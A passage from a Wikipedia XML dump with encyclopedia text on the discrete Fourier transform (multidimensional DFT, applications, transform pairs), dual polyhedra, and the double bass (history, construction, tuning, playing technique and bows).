:&lt;math&gt;X_k = \sum_{n=0}^{N-1} x_n e^{-\frac{2 \pi i}{N} (k+b) (n+a)} \quad \quad k = 0, \dots, N-1&lt;/math&gt;

Most often, shifts of &lt;math&gt;1/2&lt;/math&gt; (half a sample) are used.
While the ordinary DFT corresponds to a periodic signal in both time and frequency domains, &lt;math&gt;a=1/2&lt;/math&gt; produces a signal that is anti-periodic in frequency domain (&lt;math&gt;X_{k+N} = - X_k&lt;/math&gt;) and vice-versa for &lt;math&gt;b=1/2&lt;/math&gt;.
Thus, the specific case of &lt;math&gt;a = b = 1/2&lt;/math&gt; is known as an ''odd-time odd-frequency'' discrete Fourier transform (or O&lt;sup&gt;2&lt;/sup&gt; DFT).
Such shifted transforms are most often used for symmetric data, to represent different boundary symmetries, and for real-symmetric data they correspond to different forms of the discrete [[discrete cosine transform|cosine]] and [[discrete sine transform|sine]] transforms.

The discrete Fourier transform can be viewed as a special case of the [[z-transform]], evaluated on the unit circle in the complex plane.

==Multidimensional DFT==
The ordinary DFT computes the transform of a &quot;one-dimensional&quot; dataset: a sequence (or [[array]]) &lt;math&gt;x_n&lt;/math&gt; that is a function of one discrete variable &lt;math&gt;n&lt;/math&gt;.  More generally, one can define the '''multidimensional''' DFT of a multidimensional array &lt;math&gt;x_{n_1, n_2, \cdots, n_d}&lt;/math&gt; that is a function of &lt;math&gt;d&lt;/math&gt; discrete variables &lt;math&gt;n_\ell = 0, 1, \cdots, N_\ell-1&lt;/math&gt; for &lt;math&gt;\ell&lt;/math&gt; in &lt;math&gt;1, 2, \cdots, d&lt;/math&gt;:

:&lt;math&gt;X_{k_1, k_2, \cdots, k_d} = \sum_{n_1=0}^{N_1-1} \omega_{N_1}^{~k_1 n_1} \cdots \sum_{n_d=0}^{N_d-1} \omega_{N_d}^{~k_d n_d} x_{n_1, n_2, \cdots, n_d} \, , &lt;/math&gt;

where &lt;math&gt;\omega_{N_\ell} = \exp(-2\pi i/N_\ell)&lt;/math&gt; as above and the &lt;math&gt;d&lt;/math&gt; output indices run from &lt;math&gt;k_\ell = 0, 1, \cdots, N_\ell-1&lt;/math&gt;.  This is more compactly expressed in [[coordinate vector|vector]] notation, where &lt;math&gt;\mathbf{n} \equiv (n_1, n_2, \cdots, n_d)&lt;/math&gt; and &lt;math&gt;\mathbf{k} \equiv (k_1, k_2, \cdots, k_d)&lt;/math&gt; are &lt;math&gt;d&lt;/math&gt;-dimensional vectors of indices from 0 to &lt;math&gt;\mathbf{N} - 1 \equiv (N_1 - 1, N_2 - 1, \cdots, N_d - 1)&lt;/math&gt;:

:&lt;math&gt;X_\mathbf{k} = \sum_{\mathbf{n}=0}^{\mathbf{N}-1} e^{-2\pi i \mathbf{k} \cdot (\mathbf{n} / \mathbf{N})} x_\mathbf{n} \, ,&lt;/math&gt;

where the division &lt;math&gt;\mathbf{n} / \mathbf{N} \equiv (n_1/N_1, \cdots, n_d/N_d)&lt;/math&gt; is performed element-wise, and the sum denotes the set of nested summations above.

The inverse of the multi-dimensional DFT is, analogous to the one-dimensional case, given by:

:&lt;math&gt;x_\mathbf{n} = \frac{1}{\prod_{\ell=1}^d N_\ell} \sum_{\mathbf{k}=0}^{\mathbf{N}-1} e^{2\pi i \mathbf{n} \cdot (\mathbf{k} / \mathbf{N})} X_\mathbf{k} \, .&lt;/math&gt;

The multidimensional DFT has a simple interpretation.  Just as the one-dimensional DFT expresses the input &lt;math&gt;x_n&lt;/math&gt; as a superposition of sinusoids, the multidimensional DFT expresses the input as a superposition of [[plane wave]]s, or sinusoids oscillating along the direction &lt;math&gt;\mathbf{k} / \mathbf{N}&lt;/math&gt; in space and having amplitude &lt;math&gt;X_\mathbf{k}&lt;/math&gt;.  Such a decomposition is of great importance for everything from [[digital image processing]] (&lt;math&gt;d&lt;/math&gt;=2) to solving [[partial differential equations]] in three dimensions (&lt;math&gt;d&lt;/math&gt;=3) by breaking the solution up into plane waves.

Computationally, the multidimensional DFT is simply the [[function composition|composition]] of a sequence of one-dimensional DFTs along each dimension.  For example, in the two-dimensional case &lt;math&gt;x_{n_1,n_2}&lt;/math&gt; one can first compute the &lt;math&gt;N_1&lt;/math&gt; independent DFTs of the rows (i.e., along &lt;math&gt;n_2&lt;/math&gt;) to form a new array &lt;math&gt;y_{n_1,k_2}&lt;/math&gt;, and then compute the &lt;math&gt;N_2&lt;/math&gt; independent DFTs of &lt;math&gt;y&lt;/math&gt; along the columns (along &lt;math&gt;n_1&lt;/math&gt;) to form the final result &lt;math&gt;X_{k_1,k_2}&lt;/math&gt;.  Or, one can transform the columns and then the rows&amp;mdash;the order is immaterial because the nested summations above [[commutative operation|commute]].

Because of this, given a way to compute a one-dimensional DFT (e.g. an ordinary one-dimensional FFT algorithm), one immediately has a way to efficiently compute the multidimensional DFT.  This is known as a ''row-column'' algorithm, although there are also intrinsically multi-dimensional FFT algorithms.

== Applications ==
The DFT has seen wide usage across a large number of fields; we only sketch a few examples below (see also the references at the end). All applications of the DFT depend crucially on the availability of a fast algorithm to compute discrete Fourier transforms and their inverses, a [[fast Fourier transform]].

=== Spectral analysis ===
When the DFT is used for [[Frequency spectrum#Spectrum analysis|spectral analysis]], the &lt;math&gt;\{x_n\}\,&lt;/math&gt; sequence usually represents a finite set of uniformly-spaced time-samples of some signal &lt;math&gt;x(t)\,&lt;/math&gt;, where ''t'' of course represents time.  The conversion from continuous time to samples (discrete-time) changes the underlying [[continuous Fourier transform | Fourier transform]] of x(t) into a [[discrete-time Fourier transform]] (DTFT), which generally entails a type of distortion called [[aliasing]].  Choice of an appropriate sample-rate (see [[Nyquist frequency]]) is the key to minimizing that distortion.  Similarly, the conversion from a very long (or infinite) sequence to a manageable size entails a type of distortion called [[Window function#Spectral analysis | ''leakage'']], which is manifested as a loss of detail (aka resolution) in the DTFT.  Choice of an appropriate sub-sequence length is the primary key to minimizing that effect.  When the available data (and time to process it) is more than the amount needed to attain the desired clarity, a standard technique is to perform multiple DFTs.  If the desired result is a power spectrum, averaging the magnitude components of the multiple DFTs is often an effective use of the extra data.  This technique is referred to as the [[Welch method | Welch]] algorithm.

A final source of distortion (or perhaps ''illusion'') is the DFT itself, because it is just a discrete sampling of the DTFT, which is a function of a continuous frequency domain.  That can be mitigated by increasing the resolution of the DFT.  That procedure is illustrated in the [[discrete-time Fourier transform]] article.
*The procedure is sometimes referred to as ''zero-padding'', which is a particular implementation used in conjunction with the [[fast Fourier transform]] (FFT) algorithm.  The inefficiency of performing multiplications and additions with zero-valued &quot;samples&quot; is more than offset by the inherent efficiency of the FFT.
*As already noted, leakage imposes a limit on the inherent resolution of the DTFT.  So there is a practical limit to the benefit that can be obtained from a fine-grained DFT.

===Data compression===
The field of digital signal processing relies heavily on operations in the frequency domain (i.e. on the Fourier transform). For example, several lossy image and sound compression methods employ the discrete Fourier transform: the signal is cut into short segments, each is transformed, and then the Fourier coefficients of high frequencies, which are assumed to be unnoticeable, are discarded. The decompressor computes the inverse transform based on this reduced number of Fourier coefficients. (Compression applications often use a specialized form of the DFT, the [[discrete cosine transform]] or sometimes the [[modified discrete cosine transform]]).

===Partial differential equations===
Discrete Fourier transforms, especially in more than one dimension, are often used to solve partial differential equations, where again the DFT is used as an approximation for the [[Fourier series]] (which is recovered in the limit of infinite ''N''). The reason is that it expands the signal in complex exponentials ''e''&lt;sup&gt;''inx''&lt;/sup&gt;, which are eigenfunctions of differentiation: ''d''/''dx'' ''e''&lt;sup&gt;''inx''&lt;/sup&gt; = ''in'' ''e''&lt;sup&gt;''inx''&lt;/sup&gt;. Thus, in the Fourier representation, a [[linear differential equation with constant coefficients]] is transformed into an easily solvable algebraic equation. One then uses the inverse DFT to transform the result back into the ordinary spatial representation. Such an approach is called a [[spectral method]].

===Multiplication of large integers===
The fastest known [[multiplication algorithms|algorithms]] for the multiplication of large [[integer]]s or [[polynomial]]s are based on the discrete Fourier transform: the sequences of digits or coefficients are interpreted as vectors whose convolution needs to be computed; in order to do this, they are first Fourier-transformed, then multiplied component-wise, then transformed back.

===Outline of DFT polynomial multiplication algorithm===
Suppose we wish to compute the polynomial product ''c''(''x'') = ''a''(''x'') &amp;middot; ''b''(''x'').  The ordinary product expression for the coefficients of ''c'' involves a linear (acyclic) convolution, where indices do not &quot;wrap around.&quot;  This can be rewritten as a cyclic convolution by taking the coefficient vectors for ''a''(''x'') and ''b''(''x'') with constant term first, then appending zeros so that the resultant coefficient vectors '''a''' and '''b''' have dimension ''d'' &gt; deg(''a''(''x'')) + deg(''b''(''x'')).  Then,

:&lt;math&gt;\mathbf{c} = \mathbf{a} * \mathbf{b}&lt;/math&gt;

Where '''c''' is the vector of coefficients for ''c''(''x''), and the convolution operator &lt;math&gt;*\,&lt;/math&gt; is defined so

:&lt;math&gt;c_n = \sum_{m=0}^{d-1}a_m b_{n-m\ \mathrm{mod}\ d} \qquad\qquad\qquad n=0,1,...,d-1&lt;/math&gt;

But convolution becomes multiplication under the DFT:

:&lt;math&gt;\mathcal{F}(\mathbf{c}) = \mathcal{F}(\mathbf{a})\mathcal{F}(\mathbf{b})&lt;/math&gt;

Here the vector product is taken elementwise.  Thus the coefficients of the product polynomial ''c''(''x'') are just the terms 0, ..., deg(''a''(''x'')) + deg(''b''(''x'')) of the coefficient vector

:&lt;math&gt;\mathbf{c} = \mathcal{F}^{-1}(\mathcal{F}(\mathbf{a})\mathcal{F}(\mathbf{b}))&lt;/math&gt;

With a [[Fast Fourier transform]], the resulting algorithm takes O(''N'' log ''N'') arithmetic operations.  Due to its simplicity and speed, the [[Cooley-Tukey FFT algorithm]], which is limited to [[composite number|composite]] sizes, is often chosen for the transform operation.  In this case, ''d'' should be chosen as the smallest integer greater than the sum of the input polynomial degrees that is factorizable into small prime factors (e.g. 2, 3, and 5, depending upon the FFT implementation).

==Some discrete Fourier transform pairs ==
In the following table &lt;math&gt;\omega_N&lt;/math&gt; stands for &lt;math&gt;\exp(-2\pi i/N)&lt;/math&gt;, a primitive ''N-th'' root of unity.

{| border=&quot;1&quot; cellpadding=&quot;5&quot; cellspacing=&quot;0&quot; align=&quot;center&quot;
|+'''Some DFT pairs'''
|-
| align=&quot;center&quot; | &lt;math&gt;x_n\equiv\frac{1}{N}\sum_{k=0}^{N-1}X_k \omega_N^{-kn}&lt;/math&gt;
| align=&quot;center&quot; | &lt;math&gt;X_k\equiv\sum_{n=0}^{N-1}x_n \omega_N^{kn}&lt;/math&gt;
! Note
|-
| align=&quot;center&quot; | &lt;math&gt;x_n \omega_N^{-nk}&lt;/math&gt;
| align=&quot;center&quot; | &lt;math&gt;X_{n-k}\,&lt;/math&gt;
| rowspan=&quot;2&quot;| Shift theorem
|-
| align=&quot;center&quot; | &lt;math&gt;x_{n-k}\,&lt;/math&gt;
| align=&quot;center&quot; | &lt;math&gt;X_k \omega_N^{nk}&lt;/math&gt;
|-
| align=&quot;center&quot; | &lt;math&gt;x_n \in \mathbf{R}&lt;/math&gt;
| align=&quot;center&quot; | &lt;math&gt;X_k=X_{N-k}^*\,&lt;/math&gt;
| Real DFT
|-
| align=&quot;center&quot; | &lt;math&gt;a^n\,&lt;/math&gt;
| align=&quot;center&quot; | &lt;math&gt;\frac{1-a^N}{1-a\omega_N^k}&lt;/math&gt;
|&amp;nbsp;
|-
| align=&quot;center&quot; | &lt;math&gt;{N-1 \choose n}\,&lt;/math&gt;
| align=&quot;center&quot; | &lt;math&gt;(1+\omega_N^k)^{N-1}\,&lt;/math&gt;
|&amp;nbsp;
|}

== See also ==
[[A derivation of the discrete Fourier transform|Derivation of the discrete Fourier transform]]  The DFT can be derived as the [[continuous Fourier transform]] of infinite periodic sequences of [[Dirac delta function|impulse]]s.

==References==
* {{cite book
 | last = Brigham | first = E. Oran
 | title=The fast Fourier transform and its applications
 | location = Englewood Cliffs, N.J.
 | publisher = Prentice Hall
 | year=1988
 | id=ISBN 0133075052
 }}
* {{cite book
 | author = Oppenheim, Alan V.; Schafer, R. W.; and Buck, J. R.
 | title = Discrete-time signal processing
 | location = Upper Saddle River, N.J.
 | publisher = Prentice Hall
 | year = 1999
 | id = ISBN 0137549202
 }}
* {{cite book
 | last = Smith | first = Steven W.
 | url = http://www.dspguide.com/pdfbook.htm
 | title = The Scientist and Engineer's Guide to Digital Signal Processing
 | location = San Diego, Calif.
 | publisher = California Technical Publishing
 | year=1997
 | id=ISBN 0966017633
 }}
* {{cite book
 | first = Thomas H. | last = Cormen | authorlink = Thomas H. Cormen
 | coauthors = [[Charles E. Leiserson]], [[Ronald L. Rivest]], and [[Clifford Stein]]
 | year = 2001
 | title = [[Introduction to Algorithms]]
 | edition = Second Edition
 | publisher = MIT Press and McGraw-Hill
 | id = ISBN 0262032937
 | chapter = Chapter 30: Polynomials and the FFT
 | pages = pp.822–848
 }} esp. section 30.2: The DFT and FFT, pp.830–838.
* {{cite journal
 | author = P. Duhamel, B. Piron, and J. M. Etcheto
 | title = On computing the inverse DFT
 | journal = IEEE Trans. Acoust., Speech and Sig. Processing
 | volume = 36 | issue = 2 | pages = 285–286 | year = 1988
 }}
[[Category:Fourier analysis]]
[[Category:Digital signal processing]]
[[Category:Numerical analysis]]
[[Category:Transforms]]
[[Category:Unitary operators]]

[[de:Diskrete Fourier-Transformation]]
[[fr:Transformée de Fourier discrète]]
[[it:Trasformata di Fourier discreta]]
[[ja:離散フーリエ変換]]
[[nl:Discrete fouriertransformatie]]
[[pl:Dyskretna transformata Fouriera]]
[[sr:Дискретна Фуријеова трансформација]]
[[zh:离散傅里叶变换]]</text>
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  <page>
    <title>Double Bass</title>
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  <page>
    <title>Dual polyhedron</title>
    <id>8815</id>
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      <text xml:space="preserve">[[Image:Dual Cube-Octahedron.jpg|thumb|200px|right|A dual cube-octahedron.]]

In [[geometry]], '''[[polyhedron|polyhedra]]''' are associated into pairs called '''''duals''''', where the [[vertex|vertices]] of one correspond to the [[face (mathematics)|face]]s of the other. The dual of the dual is the original polyhedron. The dual of a polyhedron with equivalent vertices is one with equivalent faces, and of one with equivalent edges is another with equivalent edges. So the regular polyhedra &amp;mdash; the [[Platonic solid]]s and [[Kepler-Poinsot solid|Kepler-Poinsot polyhedra]] &amp;mdash; are arranged into dual pairs.

Duality is usually defined in terms of polar reciprocation about a concentric sphere. Here, each [[vertex]] is associated with a face plane so that the ray from the center to the vertex is perpendicular to the plane, and the product of the distances from the center to each is equal to the square of the radius. In coordinates, for reciprocation about the sphere 

:x&lt;sup&gt;2&lt;/sup&gt; + y&lt;sup&gt;2&lt;/sup&gt; + z&lt;sup&gt;2&lt;/sup&gt; = r&lt;sup&gt;2&lt;/sup&gt;, 

the vertex 

:(x&lt;sub&gt;0&lt;/sub&gt;, y&lt;sub&gt;0&lt;/sub&gt;, z&lt;sub&gt;0&lt;/sub&gt;) 

is associated with the plane 

:x&lt;sub&gt;0&lt;/sub&gt;x + y&lt;sub&gt;0&lt;/sub&gt;y + z&lt;sub&gt;0&lt;/sub&gt;z = r&lt;sup&gt;2&lt;/sup&gt;.

The vertices of the dual, then, are the reciprocals of the face planes of the original, and the faces of the dual lie in the reciprocals of the vertices of the original. Also, any two adjacent vertices define an edge, and these will reciprocate to two adjacent faces which intersect to define an edge of the dual. This can be generalized to ''n''-dimensional space, so we can talk about '''dual [[polytope]]s'''. Then the vertices of one polytope correspond to the (''n'' &amp;minus; 1)-dimensional elements, or facets, of the other, and the ''j'' points that define a (''j'' &amp;minus; 1)-dimensional element will correspond to ''j'' hyperplanes that intersect to give a (''n'' &amp;minus; ''j'')-dimensional element. The dual of a [[honeycomb]] can be defined similarly.

Notice that the exact form of the dual will depend on what sphere we reciprocate with respect to, as we move the sphere around the dual form distorts. The center of the sphere is sufficient to define the dual up to similarity. If multiple symmetry axes are present, they will necessarily intersect at a single point, and this is usually taken to be the center.  Failing that a circumscribed sphere, inscribed sphere, or midsphere (one with all edges as tangents) can be used. It can be shown that all convex polyhedra can be distorted into a canonical form where a midsphere exists such that the points where the edges touch it average out to give the center of the sphere, and this form is unique up to congruences. 

We can distort a dual polyhedron such that it can no longer be obtained by reciprocating the original ln any sphere - in this case we can say that the two polyhedra are still topologically dual.

It is worth noting that the vertices and edges of a convex polyhedron can be projected to form a [[graph theory|graph]] on the sphere or on a flat plane, and the corresponding graph formed by the dual of this polyhedron is its [[planar graph|dual graph]]. 

The concept of ''duality'' here is also related to the [[duality (projective geometry)|duality]] in [[projective geometry]], where lines and edges are interchanged; and is in fact a particular version of the same.

If a polyhedron has an element passing through the center of the sphere, the corresponding element of its dual will pass through or be at infinity. Since traditional infinite &quot;Euclidean&quot; space never reaches infinity, the projective equivalent, called extended Euclidean space, must be formed by adding the required plane at infinity.

==See also==

*[[Geometric dual]]

==External links==
*[http://www.software3d.com/Stella.html Software for displaying duals]
*[http://www.mathconsult.ch/showroom/unipoly/ The Uniform Polyhedra]
*[http://www.georgehart.com/virtual-polyhedra/vp.html Virtual Reality Polyhedra] The Encyclopedia of Polyhedra

[[category:polyhedra]]
[[Category:Duality theories]]

[[da:Duale polyedre]]
[[es:Politopo dual]]
[[it:Poliedro duale]]
[[pl:Wielościan dualny]]
[[pt:Poliedro dual]]
[[zh:對偶多面體]]</text>
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  <page>
    <title>Double bass</title>
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      <comment>/* Strings */</comment>
      <text xml:space="preserve">[[Image:AGK bass1 full.jpg|thumb|right|Side and front views of a modern double bass with a French bow.  It measures approximately 2m tall with the endpin extended, as in this photo.]]

The '''double bass''' is the largest and lowest bowed string instrument used in the modern [[orchestra|symphony orchestra]].  It is used extensively in [[European classical music|Western classical music]] as a standard member of the string section of [[orchestra|symphony orchestra]]s and smaller string [[ensemble]]s.  In addition to its use in classical music, it has been widely used in other genres such as [[jazz]], [[blues]], [[rock and roll]], [[psychobilly]] and [[bluegrass music|bluegrass]].

== Origin ==
The double bass is often erroneously considered to be a member of the violin family of [[string instrument]]s, even sometimes being referred to as &quot;bass violin.&quot; In reality, however, it is generally regarded as the only modern descendant of the [[viola da gamba]] family of instruments, a family which originated in Europe in the [[15th century]], and is more properly described as a &quot;bass viol.&quot;

The double bass is closest in construction to the [[violone]] (literally &quot;large viol&quot;), the largest and lowest member of the viola da gamba family.  Unlike the violone, however, the fingerboard of the double bass is [[fret|unfretted]], and the double bass has fewer strings (the violone, like most viols, generally had six strings, although some specimens had five or four).  Before the 20th century many double basses had only three strings, in contrast to the five to six strings typical of instruments in the viola da gamba family or the four strings of instruments in the violin family.

The double bass' proportions are dissimilar to those of the violin; for example, it is deeper (the distance from top to back is proportionally much greater than the violin).  In addition, while the violin has bulging shoulders, most double basses have shoulders carved with a more acute slope, like members of the viola da gamba family.  Many very old double basses have had their shoulders cut or sloped to aid playing with modern techniques; before these modifications the design of their shoulders was closer to instruments of the violin family.

The double bass is also the only modern bowed string instrument that is tuned in fourths (like viola da gambas), rather than fifths (see [[#Tuning|Tuning]], below).

The issue of the instrument's exact lineage is still a matter of some debate, and the supposition that the double bass is a direct descendant of the viola da gamba family is an issue that has not been entirely resolved.

In his ''A New History of the Double Bass'', Paul Brun asserts, with many references, that the double bass has origins as the true bass of the violin family. He states that, while the exterior of the double bass may resemble the viola da gamba, the internal construction of the double bass is nearly identical to that of other instruments in the violin family, and is very different from the internal structure of viols.

== Naming  ==
The instrument's standard English name, &quot;double bass,&quot; comes from the instrument's Italian name ''contrabbasso'' (contrabass). Because it is approximately twice as large as the [[cello]] (the bass member of the violin family), and because the double bass was originally used to double the 'cello part an octave lower, it is properly called &quot;double bass.&quot;

The instrument is known by several other names (especially when used in [[folk music|folk]], [[Bluegrass music|bluegrass]], and [[jazz]] music), including ''string bass'', ''upright bass'', ''standup bass'', ''acoustic bass'', ''bass viol'', ''contrabass viol'', ''bass violin'', ''doghouse bass'', ''dog-house'', ''bull fiddle'', ''hoss bass'', and ''bunkhouse bass''.

A person who plays this instrument is called a bassist, double bassist, double bass player, contrabassist, contrabass player, or simply &quot;bass player.&quot;

== Design ==
The design of the double bass, in contrast to the instruments in the violin family, has never been fully standardized.

In general there are three major approaches to the design  outline shape of the double bass, these being violin, viol, and less common the busetto shape (and very rarely the guitar or pear shape). The back of the instrument can vary from being a round, carved back similar to that of the violin, or a flat and angled back similar to the viol family (with variations in between).

[[Image:busettosolano.jpg|thumb|Example of a Busetto-shaped bass: Copy of a Matthias Klotz (1700) by Rumano Solano]] 

The double bass, unlike the rest of the violin family, still reflects influence and can be considered partly derived from the [[viol]] family of instruments, in particular the [[violone]], the contrabass member of the viol family.

The violin, viola and cello are tuned in fifths but the double bass is tuned in fourths to avoid too long a finger stretch (known as an &quot;extension&quot;).  Other differences with the violin, viola and 'cello are the (sometimes) sloped shoulders of the instrument, the often angled back (both to allow easier access to the instrument, particularly in the upper range) and the near-universal use of [[machine heads]] for tuning.

Lack of standardisation in design means that one double bass can sound and look very different from another. To see some of the variations and construction approaches discussed above see the following web sites:
*[http://www.contrabass.co.uk The Contrabass Shoppe]
*[http://www.worldofbasses.de World of basses]
*[http://www.krattenmacher.com Stefan Johann krattenmacher Instrument builder]

== Practical problems of double bass playing ==
The principal [[logistical]] difficulty facing a double bass player is the sheer weight and bulk of the instrument itself.  These issues, combined with the sensitivity of the instrument to changes in the environment (common in all wooden instruments) and the relative fragility of the wooden body make the instrument more difficult to transport safely in typical motor vehicles.   Airlines are usually not prepared to handle such an item properly, but it is possible to purchase a fiberglass trunk to transport the bass on an airplane.  However, professional orchestral double bass players often get extra pay to assist them to transport their instrument; this is called &quot;carting&quot; or &quot;cartage fees.&quot;

Recently, violin/viol family instruments (including double basses) made of [[carbon fiber|carbon-fiber]] laminates have become available.  These instruments are supposedly nearly impervious to changes in heat and humidity and extremely resilient to the knocking about that occurs during transport. Unfortunately, the sound quality of a carbon-fiber bass is generally thought to be far inferior to that of a wooden instument.

The youngest suitable age for starting to play double bass is when the child has grown enough to hold a 1/4 or 1/2 sized instrument, although some students are able to start at an earlier age playing cellos strung with bass guitar strings. Children between the ages of 8 and 10 are usually able to begin playing on such instruments. This contrasts with smaller instruments like [[violin]], which can be started by children aged 5 or even younger.

== Construction of the double bass ==
The double bass consists of the following parts:

* Scroll
* Pegbox
* Tuning machines
* C-extension (on some models)
* Nut
* Neck
* Fingerboard
* [[strings (music)|Strings]]
* Bridge
* F-holes
* Top or belly (upper bout and lower bout)
* Waist
* Back
* Ribs
* Tailpiece
* Saddle
* Endpin

The soundpost and bass bar are inside the bass. The materials most often used are maple (back, neck, ribs), spruce (top) and ebony (fingerboard, tailpiece). The exception is basses sometimes used by blues, rockabilly, or bluegrass bassists that have plywood-laminate tops and backs. All parts are glued together except the soundpost, bridge, nut and saddle, which are kept in place by string tension. The tuning machines are attached to the sides of the pegbox with wood screws. (The key on the tuning machine turns a worm, driving a [[worm gear]] that winds the string.)

The [[viol]] family of instuments has [[Fret|frets]], but the double bass does not use frets.

A wooden, metallic, or rubber [[Mute (music)|mute]] can be attached to the bridge, to make the sound softer and change the tone to a more nasal, muted sound.

==Bows==
The double bass bow consists of the following parts:

*Stick
*Bow screw
*Tip or head
*Head plate
*Frog
*Eye
*Wire winding
*Hair

Both [[France|French]] and [[Germany|German]] bows have the same parts but differently-shaped sticks and frogs. (These two types of bows also employ different methods of gripping the frog.) The best stick material is [[Brazilwood|pernambuco]], but due to its scarcity and expense, other materials are used in most bows nowadays. [[Snakewood]], [[fiberglass]] and [[Graphite-reinforced plastic|carbon fiber]] are common. The frog is usually made out of [[ebony]]. The wire winding is [[gold]] or [[silver]] in quality bows, and the hair is usually [[horsehair]]. Bass players apply rosin to the bow hair, so that the hair will have enough &quot;grip&quot; to make the strings vibrate.

== Tuning ==
Modern instruments are usually tuned (low to high) E-A-D-G. The lowest string is tuned to E (the same pitch as the lowest E on a modern [[piano]], approx 41[[Hertz|Hz]]), nearly 3 octaves below middle C ); and the highest string is tuned to G, an octave and a fourth below [[middle C]] (approx 98[[Hertz|Hz]]).
 
A variety of tunings and numbers of strings were used on a variety of confusingly-named instruments through the sixteenth to the early twentieth centuries, by which time the four-stringed tuning mentioned above became almost universal.  A very small number of concert bassists use a fifth string tuned to B three octaves below [[middle C]].  Since the range of the double bass lies largely below the standard [[bass clef]], it is notated an octave higher (hence sounding an octave lower than written).  This transposition applies even when reading the [[tenor clef]] and [[treble clef]], which are used for the instrument's extreme upper range.

In classical solo playing the double bass is usually tuned a whole tone higher (F#-B-E-A). This higher tuning is called &quot;solo tuning,&quot; whereas the regular tuning is known as &quot;orchestral tuning.&quot; String tension differs so much between solo and orchestral tuning that a different set of strings is required. Therefore the strings are always labelled for either solo or orchestral. Sometimes published solo music is also arranged especially for either solo or orchestral tuning.

A small number of bass players choose to tune their strings in fifths, like a cello but an octave lower (C-G-D-A low to high). This tuning is mostly used by jazz players, as the major tenth can be played easily without a position shift. Tuning in fifths can also make the instrument louder, because the strings have more common overtones, causing the strings to vibrate sympathetically.

== Technique ==
&lt;!-- Created Technique section in order to clean up the Design section.  JGK 4/2/05 --&gt;
The player stands or sits and holds the instrument upright, slightly tilted toward him or her. While standing, the bottom edge of the bass rests in between the players' left thigh and pelvis. The bass is supported by the left leg and ''not'' the left hand. Because of this, the left hand is free to move up and down the fingerboard. When standing, the bass' height is set so that the player may easily place the right hand close to the bridge, either with the bow (arco) or plucking (pizzicato). The left hand is free to range along the strings, from above the player's head, down to the end of the fingerboard. While sitting, a tall stool (which is measured by the players' seam length) is used. The left foot rests on the stool rung. The right foot rests on the floor with the leg bent. The left edge of the bass rests upon the players' left knee, while the right edge of the bass rests between the right knee and thigh. In the sitting position, the double bass player's stance is similar to a 'cello player. Although the sitting position is often used by orchestral musicians for reasons of simple comfort or preference of technique, soloists often stand and extend the endpin higher than normal while also adopting a sloping stance over the shoulder of the instrument in order to more comfortably reach the upper register in high passages. At the base of the double bass is a metal spike called the ''endpin'', which rests on the floor.  As with other [[string instrument]]s, the double bass is played with a bow (arco) or by plucking the strings (pizzicato).

== Playing styles ==
When playing the extreme upper range of the instrument (above the G below middle C), the player will shift his hand out from behind the neck and flatten it out, using the side of his thumb as a finger.  This technique is called ''thumb position'' and is also a technique used on the [[cello|'cello]].  While playing in thumb position, the  little finger is not used because its range is inefficient.

Two advanced techniques should also be mentioned that extend the harmonic and textural range of the instrument. These being the use of natural [[harmonics]] (a technique often used by [[Giovanni Bottesini]]) and sometimes even &quot;false&quot; harmonics where the thumb stops the note and the octave or other harmonic is activated by lightly touching the string at the relative node point.

In popular music genres, the instrument is usually played with amplification and almost exclusively played with a form of ''pizzicato'' where the sides of the fingers are used in preference to the tips of the fingers.

In traditional jazz, swing, and some other styles of music, it is sometimes played in the ''slap style''. This is a vigorous version of pizzicato where the strings are &quot;slapped&quot; against the fingerboard between the main notes of the bass line. The main notes are either played normally or by pulling the string away from the fingerboard and releasing it so that it bounces off the fingerboard, producing a distinctive percussive attack in addition to the expected pitch. Notable ''slap style'' bass players have included [[Bill Johnson (jazz musician)|Bill Johnson]], [[Wellman Braud]], [[Pops Foster]], and [[Milt Hinton]], whose use of the technique was often highly syncopated and virtuosic, sometimes interpolating two, three, four, or more slaps in between notes of the bass line.  ''Slap Style'' had an important influence on [[bass guitar|electric bass guitar]] players who from about 1970 developed a technique called ''Slap and Pop'', where the thumb of the plucking hand is used to hit the string, making a slapping sound but still allowing the note to ring, and the index or middle finger of the plucking hand is used to pull the string back so it hits the fretboard, achieving the pop sound described above. 

[[Slam Stewart]], a jazz bassist in the [[1940s]], took solos in which he bowed the bass and sang along in octave harmony.  He used a German bow so he could play pizzicato with the sides of his fingers and still hold the bow.  [[Charles Mingus]] is another notable jazz bassist, regarded as one of the foremost virtuosi of the instrument in the genre.

Difficulties in sound and performance of the instrument include projection.  Despite the size of the instrument, it is relatively quiet, primarily due to the fact that its range is so low.  When writing solo passages for the instruments, composers take extreme care in their [[orchestration]].  Dexterity is also an issue, as the instrument cannot play nearly as quickly as a [[violin]], although changes in modern playing technique have reduced this problem.  Decreased playing dexterity is due to the instruments longer and thicker strings and [[inertia]]. Vibrating the large strings of the bass takes more effort than vibrating the tiny strings of a violin.  Therefore, composers tend to shy away from giving the bass extremely fast passages or large jumps in range.  Intonation, as with all unfretted [[string instruments]], is arguably the biggest difficulty to overcome in mastering the instrument.  Because of the size of the instrument, the positions for the fingers are much further apart than they would be on a violin.

Additionally, some rockabilly and rock bassists have taken advantage of the large size of the double bass by balancing themselves, or &quot;surfing&quot; upon the instrument as a trick during performances. This is a visual entertainment technique and can seriously damage an instrument, if it is not robust enough to withstand such treatment.

== Double bass bow ==
&lt;!-- using new table and image markup (neato!) --&gt;
&lt;!-- Aligned grips to the left, so pictures didn't run into the Bluegrass section.  JGK 4/2/05 --&gt;
&lt;!-- Since the readdition of the german bow pics, the spacing on some computers has been pretty messed up. Someone competent at Wikipedia should fix this. &quot;Bottesini&quot; --&gt;
{| align=right 
|[[Image:German doublebass bow.jpg|thumb|German bow]]
|-
|[[Image:AGK bass bow.jpg|thumb|French bow]]
|}
{| align=left
|[[Image:German bow hold.jpg|thumb|German bow hold]]
|-
|[[Image:AGK bass bow grip.jpg|thumb|French bow hold]]
|}
There are two kinds of bows used in double bass playing: German and French. They are different in both design and playing technique.  The French bow is a heavier and shorter version of the bow used by the modern [[violin family]], and held in almost the same way, with the palm facing down. The index, middle, and ring fingers rest over the top of the stick and the thumb grasps the frog. Unlike the rest of the violin family, where the little finger rests on top of the stick, the little finger on the French bow rests on the side of the frog with the other fingers. 

The German bow has a much larger frog and is held with the palm angled upwards, as used for the upright members of the [[viol]] family.  When held the correct way, the thumb rests on top of the stick. The index and middle fingers are held together and support where the frog meets the stick. Contrary to what most people think, the ring finger just hangs and does absolutely nothing. The little finger supports the other side of the frog from underneath. There are many schools of thought on correct grip for both the French and German bow, but individuals may simply choose a preference based on what style works best with a particular bow, bass, and playing style.

